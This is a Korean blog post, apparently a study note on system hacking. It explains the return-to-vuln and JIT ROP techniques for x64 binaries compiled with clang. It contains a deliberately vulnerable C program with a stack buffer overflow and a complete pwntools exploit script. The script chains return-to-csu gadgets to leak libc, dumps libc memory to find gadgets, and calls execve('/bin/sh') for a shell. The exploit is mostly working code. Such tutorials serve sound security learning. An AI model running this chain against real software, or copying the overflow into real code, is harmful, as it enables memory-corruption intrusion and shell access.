return-to-csu x64
https://doongdangdoongdangdong.tistory.com/62?category=869864
return-to-vuln
ROP 코드를 실행한 후 취약성이 있는 코드로 다시 이동
gcc로 컴파일된 파일
"leave ; ret ;" gadget을 이용해 return-to-dl-resolve 기법으로 스택의 흐름을 변경할 수 있다.
clang으로 컴파일된 파일
"leave ; ret ;" gadget을 찾을 수 없다.
clang 으로 컴파일된 바이너리는 스택(entry point)을 정리할 때 "leave" 명령어가 사용되지 않는다.
▶ Return-to-vuln 기법을 사용해 ROP 코드 실행 후 취약성이 있는 함수를 다시 호출해 공격
Just-In-Time Code Reuse
JIT 컴파일러로 생성된 바이트 코드의 영역을 읽어 부족한 gadget 찾는 방식
JIT (Just-In-Time) 컴파일러
소스 코드/머신 코드에 대한 바이트 코드를 컴파일하고 실행하는 것으로 구성
일반적으로 메모리에서 직접 수행되고, 변형된 바이트 코드를 실행하기 위해 해당 코드가 저장된 메모리 영역에 대한 실행권한이 필요
Proof of Concept
//clang -fno-stack-protector -Wl,-z,relro,-z,now -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
read(0, buf, 512);
}
int main(){
write(1,"Hello ROP\n",10);
vuln();
return 0;
}
Overflow
rsp = 0x7fffffffde68
rsi = 0x7fffffffde20
Exploit Method
rop 기법을 이용한 exploit 순서
1. 첫번째 ROP Chain
- write() 함수를 이용해 __libc_start_main@got 영역에 저장된 libc 주소 추출
- vuln() 함수의 시작주소로 이동
2. 두번째 ROP Chain
- JIT ROP: write() 함수를 이용해 메모리에 저장된 libc 파일 출력 ▷ 출력 값에서 필요한 ROP gadget 찾기
- read() 함수로 .bss 영역에 값 저장 ▷ execve() 함수의 첫번째 인자로 전달될 "/bin/sh" 문자열을 .bss 영역에 저장
- vuln() 함수의 시작 주소로 이동
3. 세번째 ROP Chain
- execve() 시스템 함수를 이용해 "/bin/sh" 실행
write(1,__libc_start_main,8)
JMP vuln()
write(1,Address of leak libc,0x190000)
read(0, base_stage ,8)
JMP vuln()
execve("/bin/sh", NULL, NULL)
필요한 정보
- .bss, libc 영역의 주소
- return-to-csu gadget 주소
- read@got, write@got 주소
- vuln() 함수의 시작 주소
Find the Address
.bss 영역 주소 = 0x601010
vuln 시작 주소 = 0x400560
gadget1 = 0x40062a
gadget2 = 0x4005f0
gadget2 = 0x400610
Exploit
from pwn import *
from struct import *
#context.log_level = 'debug'
binary = ELF('./rop')
execve = 59
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
addr_csu_init1 = 0x40062a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x400610
addr_main = 0x400560
stacksize = 0x400
base_stage = addr_bss + stacksize
p = process(binary.path)
p.recvn(10)
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Stage 1 - write(1,addr_got_start,8)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)
p.send(buf)
leak = p.recv()
libc_addr = u64(leak[:8])
log.info("__libc_start_main : " + hex(libc_addr))
libc_bin = ''
libc_readsize = 0x190000
buf = 'A' * 72
#Stage 2 - write(1, Address of leak libc, 0x190000)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
#Stage 2 - read(0, base_stage ,8)
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(8)
buf += p64(base_stage)
buf += p64(0)
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)
p.send(buf)
with log.progress('Reading libc area from memory...') as l:
for i in range(0,libc_readsize/4096):
libc_bin += p.recv(4096)
l.status(hex(len(libc_bin)))
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
log.info("libc addr : " + hex(libc_addr))
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
buf = "/bin/sh\x00"
p.send(buf)
##Stage 3 - execve("/bin/sh", NULL, NULL)
buf = 'A' * 72
buf += p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
p.send(buf)
p.interactive()
'System > System Hacking' 카테고리의 다른 글
[Heap] Security Check (0) | 2020.09.13 |
---|---|
[Heap] ptmalloc2 (0) | 2020.09.12 |
Return to csu (ft. JIT ROP) (0) | 2020.08.14 |
SROP x64 (0) | 2020.07.24 |
SROP x86 (0) | 2020.07.23 |